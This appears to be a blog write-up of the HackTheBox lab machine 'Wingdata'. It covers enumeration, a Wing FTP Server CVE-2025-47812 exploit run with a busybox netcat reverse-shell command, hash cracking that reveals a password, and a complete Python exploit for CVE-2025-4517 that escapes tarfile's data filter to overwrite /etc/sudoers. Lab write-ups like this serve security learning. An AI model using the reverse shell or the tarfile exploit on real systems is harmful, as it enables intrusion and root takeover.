Skip to main content
  1. Writeups/

HackTheBox Wingdata

Taha
Author
Taha
A persistent, self-taught and serious learner.
Table of Contents

TL;DR
#

Kill Chain

The machine was fun, straightforward and simple if you look at the right places.

  • Foothold: Exploited CVE-2025-47812 in Wing FTP Server v7.4.3 to gain a shell as the wingftp user.
  • Lateral Movement: Recovered a salted SHA-256 hash for the user wacky from server files.
  • Cracked the hash using the default salt (WingFTP) to gain SSH access.
  • Privilege Escalation: Identified a sudo misconfiguration allowing the execution of a Python restoration script.
  • Leveraged CVE-2025-4517 to bypass Python’s tarfile data filter. Used a path-length overflow in a malicious tarball, escaped the extraction directory to overwrite /etc/sudoers.

Enumeration
#

$target=10.129.6.208
$echo "$target wingdata.htb" | sudo tee -a /etc/hosts

Nmap
#

$nmap -sV -sC -vv -Pn -T4 -oN nmap_default $target 

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1fa958bd7560385e445c9c71eba283b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
|   256 9cba211a972f3a6473c14c1dce657a2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: WingData Solutions
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Failure

A ran a full ports scan in the background but no unusual ports were found. Also noting running UDP.

Ffuf
#

Fuzzing for directories didn’t show anything useful. Let’s see if we have any vhosts:

$ffuf -ic -c -v -w `fzf-wordlists`:FUZZ -u "http://wingdata.htb" -H "Host: FUZZ.wingdata.htb"  -fw 21

 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.wingdata.htb
 :: Filter           : Response words: 21
________________________________________________

[Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 105ms]
| URL | http://wingdata.htb
    * FUZZ: ftp

And we should add that to our /etc/hosts.

Foothold - wingftp user
#

Now let’s visit the website:

landing-page
.

A file sharing platform? Makes sense.

Visiting the client portal leads us to http://ftp.wingdata.htb/login.html?lang=english. And a version number: Wing FTP Server v7.4.3

ftp

Which is vulnerable to CVE-2025-47812 for which we can find this POC:

python3 cve.py -u http://ftp.wingdata.htb -c 'busybox nc <ip> 9443 -e sh' -v

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'busybox nc <ip> 9443 -e sh' and username: 'anonymous'
[+] UID extracted: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: dc3a3bf1e69edc9eafcb923960764150f528764d624db129b32c21fbca0cb8d6
[-] Error sending GET request to http://ftp.wingdata.htb/dir.html: HTTPConnectionPool(host='ftp.wingdata.htb', port=80): Read timed out. (read timeout=10)

And we get a hit back on our listener as user wingftp.

I foudn the Data/settings.xml file to contain a server hashed password: 2D35A8D420A697203D7C554A678F8119

server settings.xml

Which is identified as an MD5 hash but coudln’t be cracked.

Here also another valuable information:

users

The useful info we can get is from wacky.xml which contains a password hash:

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

The hash couldn’t be identified, so based on the default documentation:

default salt

The default salt is WingFTP.

echo 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WinFTP > hash
hash type

Which is cracked to !#7Blushing^*Bride5.

User Flag
#

ssh wacky@wingdata.htb
user
Success

User Flag Owned!

Privilege Escalation
#

Sudo Privileges
#

First thigns first:

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

We can read the script:

#!/usr/bin/env python3

import tarfile

import os

import sys

import re

import argparse



BACKUP_BASE_DIR = "/opt/backup_clients/backups"

STAGING_BASE = "/opt/backup_clients/restored_backups"



def validate_backup_name(filename):

    if not re.fullmatch(r"^backup_\d+\.tar$", filename):

        return False

    client_id = filename.split('_')[1].rstrip('.tar')

    return client_id.isdigit() and client_id != "0"



def validate_restore_tag(tag):

    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))



def main():

    parser = argparse.ArgumentParser(

        description="Restore client configuration from a validated backup tarball.",

        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"

    )

    parser.add_argument(

        "-b", "--backup",

        required=True,

        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "

             "where <client_id> is a positive integer, e.g., backup_1001.tar)"

    )

    parser.add_argument(

        "-r", "--restore-dir",

        required=True,

        help="Staging directory name for the restore operation. "

             "Must follow the format: restore_<client_user> (e.g., restore_john). "

             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."

    )



    args = parser.parse_args()



    if not validate_backup_name(args.backup):

        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)

        sys.exit(1)



    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)

    if not os.path.isfile(backup_path):

        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)

        sys.exit(1)



    if not args.restore_dir.startswith("restore_"):

        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)

        sys.exit(1)



    tag = args.restore_dir[8:]

    if not tag:

        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)

        sys.exit(1)



    if not validate_restore_tag(tag):

        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)

        sys.exit(1)



    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)

    print(f"[+] Backup: {args.backup}")

    print(f"[+] Staging directory: {staging_dir}")



    os.makedirs(staging_dir, exist_ok=True)



    try:

        with tarfile.open(backup_path, "r") as tar:

            tar.extractall(path=staging_dir, filter="data")

        print(f"[+] Extraction completed in {staging_dir}")

    except (tarfile.TarError, OSError, Exception) as e:

        print(f"[!] Error during extraction: {e}", file=sys.stderr)

        sys.exit(2)



if __name__ == "__main__":

    main()

CVE-2025-4517
#

Which shows a vulnerablity and a CVE.:

The script uses the tarfile.extractall() function with the filter=“data” argument. While this filter was introduced in Python 3.12 to prevent classic Path Traversal (TarSlip) attacks, it is vulnerable to CVE-2025-4517.

This vulnerability allows an attacker to bypass the “secure” filter by creating a tar archive with a specific chain of symlinks and directory structures that exceed the system’s PATH_MAX. When the path becomes too long, Python’s realpath normalization fails, allowing files to be written outside of the intended STAGING_BASE directory.

Because the script is executed via sudo, we can use this arbitrary file write to overwrite sensitive system files as root.

You can view this Github security advisory

import tarfile
import os
import io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("backup_9999.tar", mode="w") as tar:
    # Build the path overflow chain
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    
    # Create the link that exceeds PATH_MAX
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)
    
    # Target /etc via the overflow escape
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    tar.addfile(e)
    
    # Create a hardlink to sudoers and provide new content
    f = tarfile.TarInfo("sudoers_link")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)
    
    content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("sudoers_link")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))

We create the tarball and move it to the required backup directory and trigger the restoration script:

# Move the exploit to the expected directory
cp backup_9999.tar /opt/backup_clients/backups/

# Run the script via the permitted sudo path
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil

Now that /etc/sudoers overwritten, we now have unrestricted sudo access.

wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
    (ALL) NOPASSWD: ALL

wacky@wingdata:~$ sudo su - -c "cat /root/root.txt"
<SNIP>
Success

Rooted. GG to the author, the machine is pretty straight forward with minimal but targetted enumeration.